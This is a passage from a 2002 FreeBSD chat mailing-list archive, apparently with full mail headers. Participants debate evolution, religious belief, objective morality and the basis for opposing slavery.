when he tells us that man by nature suppresses the truth he > knows about his Creator. Dr. Greg Bahnsen wrote his doctorol dissertation > on this very subject, the phenomena of self-deception. He wrote a > boiled down version of it for the Westminster Theological Journal in > 1995 which can be read online at: > > http://66.216.78.115/articles/pa207.htm > > Having said all that, psychological arguments can't really stand on their > own without some supporting arguments. The reason for this is that I can > just come back and say that your theory is just a rationalization in an > attempt to deny your creator. And not only that, it fits in quite nicely > with what Paul says in Romans 1! Isn't it nice how that works? Now what > have I just done here? What I've done is completely reversed the argument > on you, so what we are left with is psychologizing each other, which isn't > very productive. So what is the answer? Who's right and who's wrong? Both and neither, of course. > > > > Not that I'm not a religious person myself, it's just important to remember > > that all of this came from tribal traditions and warring, and that all of > > Wicca came from a lecherous old man who decided to take from Celtic and > > old European religions throughout the ages, and that Jesus was a man, and > > a great man, and a man who said great things. > > > > That doesn't mean any of it isn't true. Just because one "makes something up" > > doesn't mean it's false. It could be inherent in-born knowledge. > > > > I prefer to believe that all beliefs are valid, most are probably somewhat > > right, and none are "wrong". > > People have a tendency to develop beliefs that approximate the truth. > This is because, though they try to suppress their knowledge of God, > they can never completely erase that knowledge, for to do so would > require giving up everything they take for granted, and that is > impossible to do short of suicide. But then, in the end, this really > isn't an escape either. 8-) It is funny that some other religions would say the same things of Christians. Why is it so hard to see the pattern of human influence and superiority and conclude that either none are right (it is all human) or god takes many forms (all are right) or some other Universal Truth binds people to these things (all are right)? It seems silly that god would only help the people in one place of a world he is said to have wrought of his own will. It seems more likely that (s)he would implant some genetic (for lack of a better word) knowledge into the people of the world, that drives them to fulfill their purpose. Much like taking knowledge to be the kan-kan of the tribal/racial karass one could erect from the models Kurt Vonnegut uses in Cat's Cradle. I've always been drawn to earthy religions, and felt the pain of the Indian (Native American) people very strongly. Recently found out that I do have Indian (NA) blood. I've always felt ties to the fate of those of Occitania and have blood of French and Italian people in my veins. My strong Desi spiritual attrction has yet to be explained, possibly a post-indo-european bloodline to those in Italy or Spain or France or Germany. Who knows. All I know is the Implicit Knowledge of Truth that I have always felt, and always hold dear. I also have one axom (sp?) I must write down some day in a book where I keep things (it complements the copy of the ttc that my girlfriend gave me very well) which is essentially that when one takes something so seriously they cannot have a sense of humour about it, they are taking it too seriously. > > It's all about people and perception. Unfortunately, this universe seems > > built with the intentions to get people to look beyond perception - things > > have inherent beauty and structure at levels below what the eye can see, > > people are not always what they appear to be, and enjoying it is what really > > matters, to me. > > This is all a Christian is asking for, that people would see "the God who > is there," as Francis Schaeffer would put it. Read "The Power of Myth", "Zen and the Art of Motorcycle Maintainence", and look at a book on Chaos, Fractals, or Escher. :) -- Juli Mallett | FreeBSD: The Power To Serve Will break world for fulltime employment. | finger jmallett@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 15:53:29 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6662137B406 for ; Fri, 6 Sep 2002 15:53:13 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5995543E3B for ; Fri, 6 Sep 2002 15:53:12 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g86MrBGd044593; Fri, 6 Sep 2002 15:53:11 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g86MrBJT044590; Fri, 6 Sep 2002 15:53:11 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Fri, 6 Sep 2002 15:53:11 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Joshua Lee Cc: tlambert2@mindspring.com, , Subject: Re: Why did evolution fail? In-Reply-To: <20020906183427.5aa10ec8.yid@softhome.net> Message-ID: <20020906153844.K44494-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Fri, 6 Sep 2002, Joshua Lee wrote: > Lamarkianism, which is really not all that different than evolution > other than it's mechanism not being the same. One would have to go back > to before the Rennaisance, during periods where practically no > scientific activity was being pursued in Northern Europe, to get to the > point where you want to take science. Let science progress according to > it's own process, a process that Behe respects, rather than trying to > hurry it along with doctrines that cannot be used scientifically. Actually I'm not trying to hurry anything along. What I object to is the dogmatism of evolutionism. (By the way, the -ism on the end there is a dead giveaway) You assume too much. > Biology is a young science. Often when I read Maimonidies and how he > reacted to the Aristotelian physics of his day (an intellegent > comprimise rather than disagreeing with it's premises altogeather) I am Sometimes disagreeing with the premises is necessary. Read Thomas Kuhn's "Structure of Scientific Revolutions". > astounded by how odd scientists of that early period in physics's > history seemed in their theories. Physics eventually straightened itself > out. (The eternity of matter, the last piece of Aristotle to be > rejected, was an accepted theory a couple of decades into the 20th > century!) Let biology straighten itself out too - using the scientific > method. Second-guessing the scientific method is a recipie for > scientific disaster, even in the hands of the best theologians. Who is second-guessing the scientific method? I happen to think it works quite well, when allowed to truly work. Problem with evolution is that, almost 150 years later, it is no more closer to being empirically verified than it was in 1859. So lets drop it and get on with something else already. > (If you > really have objections to how it's being teached in public schools send > your children to private ones - that's what we do, we don't expect > Judaism to be taught in public schools - stop insisting your religious > minority, and it is a minority, be given a place of privledge in the > marketplace of ideas; against the constitution that made your brand of > protestantism possible.) Actually you have that exactly backwards. It is my brand of protestantism that made the constitution possible. 8-) And you are making assumptions again. I do not expect Christianity to be taught in public schools. I just don't want evolution dogmatically taught as "the truth" when there are other explanations that better account for the data. Is that too much to ask for? Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 17:16:22 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 99A5737B400 for ; Fri, 6 Sep 2002 17:16:19 -0700 (PDT) Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5CA5543E75 for ; Fri, 6 Sep 2002 17:16:18 -0700 (PDT) (envelope-from keramida@ceid.upatras.gr) Received: from hades.hell.gr (patr530-b137.otenet.gr [212.205.244.145]) by mailsrv.otenet.gr (8.12.4/8.12.4) with ESMTP id g870Fh7f004047; Sat, 7 Sep 2002 03:16:02 +0300 (EEST) Received: from hades.hell.gr (hades [127.0.0.1]) by hades.hell.gr (8.12.6/8.12.6) with ESMTP id g870Facf016006; Sat, 7 Sep 2002 03:15:36 +0300 (EEST) (envelope-from keramida@ceid.upatras.gr) Received: (from charon@localhost) by hades.hell.gr (8.12.6/8.12.6/Submit) id g870FF2X015997; Sat, 7 Sep 2002 03:15:16 +0300 (EEST) (envelope-from keramida@ceid.upatras.gr) Date: Sat, 7 Sep 2002 03:15:15 +0300 From: Giorgos Keramidas To: "Neal E. Westfall" Cc: chat@FreeBSD.org Subject: Re: Why did evolution fail? Message-ID: <20020907001514.GA15779@hades.hell.gr> References: <20020906155919.A6312@FreeBSD.org> <20020906092136.L94577-100000@Tolstoy.home.lan> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020906092136.L94577-100000@Tolstoy.home.lan> X-PGP-Fingerprint: C1EB 0653 DB8B A557 3829 00F9 D60F 941A 3186 03B6 Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On 2002-09-06 10:02 +0000, Neal E. Westfall wrote: > The reason not all of the laws written in Leviticus are any longer > applicable is that they had a theological purpose. That's so convenient, isn't it? > What is *your* rationale for opposing slavery? I'll tell you mine. > I am grateful to God for having mercy on me as a sinner. As such, I > seek to glorify God by emulating His compassion that He had on me. Why do you need to have `God', or anything else that can take its place in your systems of beliefs, to set an example? Can't you, as an individual, a human being respect and value others without someone showing you ``the way''? > Do you suppose that God is *obligated* to have mercy on everyone? Yes. > An obligation implies justice, not mercy. Of course, one of the attributes given to gods and goddesses in most of the religions of the world (a few notable exceptions do exist, but they are usually accused of anthropomorphism), is their inherent tendency to be `just, and righteous to all'. Or, is a god or goddess just and righteous only when it suits him/her, to ask for more sacrifices/belief/whatever? Of course, I have to shoot myself now for breaking my promise NOT to take part in this thread again :) - Giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 17:22:51 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6960237B400 for ; Fri, 6 Sep 2002 17:22:49 -0700 (PDT) Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7860C43E7B for ; Fri, 6 Sep 2002 17:22:48 -0700 (PDT) (envelope-from keramida@ceid.upatras.gr) Received: from hades.hell.gr (patr530-b137.otenet.gr [212.205.244.145]) by mailsrv.otenet.gr (8.12.4/8.12.4) with ESMTP id g870Mi7f007816; Sat, 7 Sep 2002 03:22:45 +0300 (EEST) Received: from hades.hell.gr (hades [127.0.0.1]) by hades.hell.gr (8.12.6/8.12.6) with ESMTP id g870Mhcf016193; Sat, 7 Sep 2002 03:22:43 +0300 (EEST) (envelope-from keramida@ceid.upatras.gr) Received: (from charon@localhost) by hades.hell.gr (8.12.6/8.12.6/Submit) id g870MhTi016192; Sat, 7 Sep 2002 03:22:43 +0300 (EEST) (envelope-from keramida@ceid.upatras.gr) Date: Sat, 7 Sep 2002 03:22:42 +0300 From: Giorgos Keramidas To: "Neal E. Westfall" Cc: chat@FreeBSD.org Subject: Re: Why did evolution fail? Message-ID: <20020907002242.GC15779@hades.hell.gr> References: <20020906183353.A17895@FreeBSD.org> <20020906104905.J94577-100000@Tolstoy.home.lan> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020906104905.J94577-100000@Tolstoy.home.lan> X-PGP-Fingerprint: C1EB 0653 DB8B A557 3829 00F9 D60F 941A 3186 03B6 Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On 2002-09-06 11:16 +0000, Neal E. Westfall wrote: > Without a reliable supernatural revelation from God, no arguments, > reasoning, science, ethics, human freedom, etc. would even be > intelligible. The preconditions of rationally arguing anything > require objective standards of logic and ethics which are only > intelligible on a theistic worldview in which God reveals those > objective standards through supernatural revelation. Care to elaborate on that? Because you seem to be implying that logic and ethics can not exist without the existence of something supernatural. But something that is supernatural, is, well ... not natural, but supernatural. Why would logic, and ethics be dependent on something that doesn't even exist? Now can we stop just tossing things to and fro without anyone ever proving what they say? - Giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 17:29:32 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A8CC737B400 for ; Fri, 6 Sep 2002 17:29:29 -0700 (PDT) Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by mx1.FreeBSD.org (Postfix) with ESMTP id B522343E42 for ; Fri, 6 Sep 2002 17:29:28 -0700 (PDT) (envelope-from keramida@ceid.upatras.gr) Received: from hades.hell.gr (patr530-b137.otenet.gr [212.205.244.145]) by mailsrv.otenet.gr (8.12.4/8.12.4) with ESMTP id g870T97f011818; Sat, 7 Sep 2002 03:29:10 +0300 (EEST) Received: from hades.hell.gr (hades [127.0.0.1]) by hades.hell.gr (8.12.6/8.12.6) with ESMTP id g870T9cf016248; Sat, 7 Sep 2002 03:29:09 +0300 (EEST) (envelope-from keramida@ceid.upatras.gr) Received: (from charon@localhost) by hades.hell.gr (8.12.6/8.12.6/Submit) id g870T5XV016247; Sat, 7 Sep 2002 03:29:05 +0300 (EEST) (envelope-from keramida@ceid.upatras.gr) Date: Sat, 7 Sep 2002 03:29:04 +0300 From: Giorgos Keramidas To: "Neal E. Westfall" Cc: Joshua Lee , tlambert2@mindspring.com, dave@jetcafe.org, chat@FreeBSD.org Subject: Re: Why did evolution fail? Message-ID: <20020907002904.GD15779@hades.hell.gr> References: <20020905200849.7af95707.yid@softhome.net> <20020906122159.B94577-100000@Tolstoy.home.lan> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020906122159.B94577-100000@Tolstoy.home.lan> X-PGP-Fingerprint: C1EB 0653 DB8B A557 3829 00F9 D60F 941A 3186 03B6 Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On 2002-09-06 12:43 +0000, Neal E. Westfall wrote: > > Lots of decent biology is done with it, some of which might be even used > > to lengthen your ingrate life. ;-) > > Please name one thing that the theory of evolution has contributed to > the prolonging of human life. An understanding of the characteristics of mutation in virii, and the ability to create new vaccines for the new breeds that develop exactly as evolutionary theories predict. There you go... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 17:45:29 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 371AD37B413; Fri, 6 Sep 2002 17:45:19 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7F2E443E65; Fri, 6 Sep 2002 17:45:18 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g870jHGd044946; Fri, 6 Sep 2002 17:45:17 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g870jHH7044943; Fri, 6 Sep 2002 17:45:17 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Fri, 6 Sep 2002 17:45:17 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Juli Mallett Cc: Joshua Lee , , , Subject: Re: Why did evolution fail? In-Reply-To: <20020906154116.C30018@FreeBSD.org> Message-ID: <20020906160208.R44625-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Fri, 6 Sep 2002, Juli Mallett wrote: > > People have a tendency to develop beliefs that approximate the truth. > > This is because, though they try to suppress their knowledge of God, > > they can never completely erase that knowledge, for to do so would > > require giving up everything they take for granted, and that is > > impossible to do short of suicide. But then, in the end, this really > > isn't an escape either. 8-) > > It is funny that some other religions would say the same things of Christians. Possibly. On the other hand, without a basis for authority to back it up, such as a supernatural revelation from God, they would just be empty claims. 8-) > Why is it so hard to see the pattern of human influence and superiority and > conclude that either none are right (it is all human) or god takes many forms > (all are right) or some other Universal Truth binds people to these things (all > are right)? The difficulty is that it implies an absurdity. We don't live the rest of our lives that way, so why should we assume absurdities when it comes to ultimate truth? You are a coder, no? A contributer to FreeBSD? When you code, do you not have to follow certain conventions, like programming syntax, in order to produce anything fruitful? You don't create the rules of syntax as you go, right? It doesn't work that way. You have to follow the rules that somebody else has established. Life is like that. We have to follow the rules that God has established, or we end up paying the penalty by having to endure all sorts of undesirable consequences. It doesn't mean we aren't free, of course. God built into the system a great deal of leeway for creativity, which is why we have artists, computer programmers, architects, and a whole plethora of other professions in which man, as God's image bearer, can think God's thoughts after Him and emulate His creativity. > It seems silly that god would only help the people in one place of a world he > is said to have wrought of his own will. It seems more likely that (s)he > would implant some genetic (for lack of a better word) knowledge into the > people of the world, that drives them to fulfill their purpose. Much like > taking knowledge to be the kan-kan of the tribal/racial karass one could > erect from the models Kurt Vonnegut uses in Cat's Cradle. You mean something like the Law of God, written on men's (and women's!) hearts as in Romans 2:14-16? 8-) The problem of course is that man is in rebellion against God, and is therefore also in rebellion against the Law written on his own heart. He wants to deny it, but he also despartely needs it in order to get along in the world. > > I've always been drawn to earthy religions, and felt the pain of the Indian > (Native American) people very strongly. Recently found out that I do have > Indian (NA) blood. Me too. Choctaw. But alas, I don't think I have enough to get any government subsidies. 8-) > I've always felt ties to the fate of those of Occitania > and have blood of French and Italian people in my veins. My strong Desi > spiritual attrction has yet to be explained, possibly a post-indo-european > bloodline to those in Italy or Spain or France or Germany. Who knows. All > I know is the Implicit Knowledge of Truth that I have always felt, and always > hold dear. > > I also have one axom (sp?) I must write down some day in a book where I keep > things (it complements the copy of the ttc that my girlfriend gave me very > well) which is essentially that when one takes something so seriously they > cannot have a sense of humour about it, they are taking it too seriously. There is a place for a sense of humor, of course. But I like to keep a distinction between having a sense of humor and trivializing life. We can't do that. We have to take some things seriously, or we cannot claim to be faithful to the truth. Most people like to think they are seeking after truth, yet when they get close to anything that resembles it they quickly recoil, discovering that it is a sharp, two-edged sword that cuts all of us down, leaving us bare and naked were we to face it squarely. Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 18:13:37 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E184A37B400 for ; Fri, 6 Sep 2002 18:13:33 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 94C8A43E42 for ; Fri, 6 Sep 2002 18:13:32 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g871DNGd045027; Fri, 6 Sep 2002 18:13:23 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g871DNPe045024; Fri, 6 Sep 2002 18:13:23 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Fri, 6 Sep 2002 18:13:23 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Giorgos Keramidas Cc: chat@FreeBSD.org Subject: Re: Why did evolution fail? In-Reply-To: <20020907001514.GA15779@hades.hell.gr> Message-ID: <20020906174735.C44831-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Sat, 7 Sep 2002, Giorgos Keramidas wrote: > On 2002-09-06 10:02 +0000, Neal E. Westfall wrote: > > The reason not all of the laws written in Leviticus are any longer > > applicable is that they had a theological purpose. > > That's so convenient, isn't it? It's also convenient to remove the rest of my reply to the question I was asked and quote me out of context, isn't it? > > What is *your* rationale for opposing slavery? I'll tell you mine. > > I am grateful to God for having mercy on me as a sinner. As such, I > > seek to glorify God by emulating His compassion that He had on me. > > Why do you need to have `God', or anything else that can take its > place in your systems of beliefs, to set an example? Can't you, as an > individual, a human being respect and value others without someone > showing you ``the way''? So let me get this straight. You think you are so self-righteous that you think you are not in need of an objective standard of right and wrong, and that you just naturally do what is right (right according to who?) in any given situation? How can you even define "respect" and "value others" without appealing to some objective standard that gives such lofty goals meaning? Without objective standards, you have no right to expect such respect from anyone. Fyodor Dostoevsky wrote, "If there is no God, all is permissable." Please refute. > > Do you suppose that God is *obligated* to have mercy on everyone? > > Yes. Why? If the govenor of Texas pardon's somebody on death row, is he obligated to pardon everybody on death row? > > > An obligation implies justice, not mercy. > > Of course, one of the attributes given to gods and goddesses in most > of the religions of the world (a few notable exceptions do exist, but > they are usually accused of anthropomorphism), is their inherent > tendency to be `just, and righteous to all'. Or, is a god or goddess > just and righteous only when it suits him/her, to ask for more > sacrifices/belief/whatever? How is any of this relevant to the discussion? Do you even understand what "justice" is? It is not the same thing as mercy. Justice means you get what you deserve, that is, punishment for your sins. Mercy means you get what you didn't deserve, e.g. forgiveness. Never pray for justice for yourself, you just might get it. 8-) Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 18:29: 5 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1E2B237B405 for ; Fri, 6 Sep 2002 18:28:57 -0700 (PDT) Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by mx1.FreeBSD.org (Postfix) with ESMTP id CEB9D43E3B for ; Fri, 6 Sep 2002 18:28:55 -0700 (PDT) (envelope-from keramida@ceid.upatras.gr) Received: from hades.hell.gr (patr530-b137.otenet.gr [212.205.244.145]) by mailsrv.otenet.gr (8.12.4/8.12.4) with ESMTP id g871SL7f018065; Sat, 7 Sep 2002 04:28:40 +0300 (EEST) Received: from hades.hell.gr (hades [127.0.0.1]) by hades.hell.gr (8.12.6/8.12.6) with ESMTP id g871SEcf017114; Sat, 7 Sep 2002 04:28:14 +0300 (EEST) (envelope-from keramida@ceid.upatras.gr) Received: (from charon@localhost) by hades.hell.gr (8.12.6/8.12.6/Submit) id g871SDmQ017098; Sat, 7 Sep 2002 04:28:13 +0300 (EEST) (envelope-from keramida@ceid.upatras.gr) Date: Sat, 7 Sep 2002 04:27:51 +0300 From: Giorgos Keramidas To: "Neal E. Westfall" Cc: chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Message-ID: <20020907012751.GA16913@hades.hell.gr> References: <20020907001514.GA15779@hades.hell.gr> <20020906174735.C44831-100000@Tolstoy.home.lan> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020906174735.C44831-100000@Tolstoy.home.lan> X-PGP-Fingerprint: C1EB 0653 DB8B A557 3829 00F9 D60F 941A 3186 03B6 Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org In message: <20020906174735.C44831-100000@Tolstoy.home.lan> "Neal E. Westfall" wrote: > On Sat, 7 Sep 2002, Giorgos Keramidas wrote: > > On 2002-09-06 10:02 +0000, Neal E. Westfall wrote: > > > What is *your* rationale for opposing slavery? I'll tell you mine. > > > I am grateful to God for having mercy on me as a sinner. As such, I > > > seek to glorify God by emulating His compassion that He had on me. > > > > Why do you need to have `God', or anything else that can take its > > place in your systems of beliefs, to set an example? Can't you, as an > > individual, a human being respect and value others without someone > > showing you ``the way''? > > So let me get this straight. You think you are so self-righteous > that you think you are not in need of an objective standard of right > and wrong, and that you just naturally do what is right (right according > to who?) in any given situation? No, I am not self-righteous. I do try, not to do things to others that I wouldn't want them to do to me. This is the only thing that one needs to aim to do, when questions like right and wrong pop up. This is the only thing that is needed for an infinite amount of people to be able to live together without having to look up to supernatural beings and entities, in order to be kind to each other. To return to the original question, making another human a slave is not something that I would like another human doing to me. This is then, by my own standards, as you called them, wrong. > How can you even define "respect" and "value others" without > appealing to some objective standard that gives such lofty goals > meaning? One person can not define or know an `objective standard' alone. The standard becomes manifest when many persons try to understand what is best for all of them and each individual separately. > Without objective standards, you have no right to expect such > respect from anyone. Fyodor Dostoevsky wrote, "If there is no God, > all is permissable." Please refute. I am not sure that there is a need for a god or other supernatural entity for humans to socialise and treat each other well. If they do try hard to avoid intentionally hurting each other, and strive both as individuals and as a team to catter for the needs both of their individuals selfs and the team as a whole, is there really a need for something like this? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 18:32:15 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 800C237B400 for ; Fri, 6 Sep 2002 18:32:12 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id E933D43E72 for ; Fri, 6 Sep 2002 18:32:11 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g871UqGd045063; Fri, 6 Sep 2002 18:30:52 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g871UqfG045060; Fri, 6 Sep 2002 18:30:52 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Fri, 6 Sep 2002 18:30:52 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Giorgos Keramidas Cc: chat@FreeBSD.ORG Subject: Re: Why did evolution fail? In-Reply-To: <20020907002242.GC15779@hades.hell.gr> Message-ID: <20020906181354.C44831-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Sat, 7 Sep 2002, Giorgos Keramidas wrote: > On 2002-09-06 11:16 +0000, Neal E. Westfall wrote: > > Without a reliable supernatural revelation from God, no arguments, > > reasoning, science, ethics, human freedom, etc. would even be > > intelligible. The preconditions of rationally arguing anything > > require objective standards of logic and ethics which are only > > intelligible on a theistic worldview in which God reveals those > > objective standards through supernatural revelation. > > Care to elaborate on that? Certainly! Although that is exactly what I have been doing all along. > Because you seem to be implying that logic > and ethics can not exist without the existence of something > supernatural. Correction. Logic and ethics are meaningless without objective standards, and objective standards are impossible without appealing to something, well, *objective*. "Objective" means that it comes to you from the outside, externally, i.e. "not subjective". So immediately the opinions of men are eliminated. What is left? Can man invent objective standards? Well, no, because then they wouldn't really be "objective" would they? Can objective standards just exist "out there" somewhere? Even if they could, you could never know what they were. Everybody could claim to know what the objective standards are, but that would just lead us right back to subjectivism, with everybody claiming their own "objective" standards. So if there even is a such a thing as "objective" standards, they are going to have to be revealed to us in some way by an entity that truly *is* objective. That is, this entity has "all the facts" that can be known, i.e. is "omniscient." Moreover, this being, in order to enforce His objective standard, would have to be able to enforce His will, i.e., He would have to be "omnipotent." Well, you should be getting the point by now, but if not, feel free to continue to ask questions. Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 18:33: 4 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C61EB37B400 for ; Fri, 6 Sep 2002 18:33:02 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4BEE343E88 for ; Fri, 6 Sep 2002 18:33:02 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g871WvGd045069; Fri, 6 Sep 2002 18:32:57 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g871WvqF045066; Fri, 6 Sep 2002 18:32:57 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Fri, 6 Sep 2002 18:32:57 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Giorgos Keramidas Cc: Joshua Lee , , , Subject: Re: Why did evolution fail? In-Reply-To: <20020907002904.GD15779@hades.hell.gr> Message-ID: <20020906183100.N44831-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Sat, 7 Sep 2002, Giorgos Keramidas wrote: > On 2002-09-06 12:43 +0000, Neal E. Westfall wrote: 